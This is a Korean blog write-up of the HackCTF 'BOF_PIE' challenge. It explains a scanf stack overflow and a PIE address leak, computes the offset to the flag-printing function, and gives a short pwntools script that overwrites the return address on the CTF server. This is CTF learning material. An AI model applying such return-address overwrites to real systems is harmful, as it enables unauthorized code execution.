ii4gsp
HackCTF - BOF_PIE 본문
파일을 다운받아 주자.
IDA로 열어보면 main()함수에서 welcome()함수를 호출한다.
welcome()함수에서는 welcome의 주소를 출력해주고 scanf()함수로 v1에 입력을 받는다.
scanf()함수에서 취약점이 발생한다.
v1 ~ sfp = 22이다.
j0n9hyun()함수에서 flag를 출력해준다.
welcome()함수의 ret를 j0n9hyun()함수로 조작해주면 된다.
welcome() offset = 0x909
j0n9hyun() offset = 0x890
0x909 - 0x890 = 0x79
welcome()함수와 j0n9hyun()함수는 0x79만큼 떨어져 있다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3008)
r.recvuntil('j0n9hyun is ')
buffer = int(r.recv(10), 16)
payload = ''
payload += '\x90' * 22
payload += p32(buffer - 0x79)
r.sendline(payload)
r.interactive()
welcome()함수의 주소를 받아오고 dummy 22byte만큼 채우고
받아온 주소에서 0x79만큼 빼주면 j0n9hyun()함수의 주소이다.
RET를 j0n9hyun()함수의 주소로 덮어주면 된다.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - RTL_World (0) | 2020.02.15 |
---|---|
HackCTF - Yes_or_no (0) | 2020.02.10 |
HackCTF - Offset (0) | 2020.02.09 |
HackCTF - Simple_Overflow_ver_2 (0) | 2020.02.09 |
HackCTF - x64 Simple_size_BOF (0) | 2020.02.09 |
Comments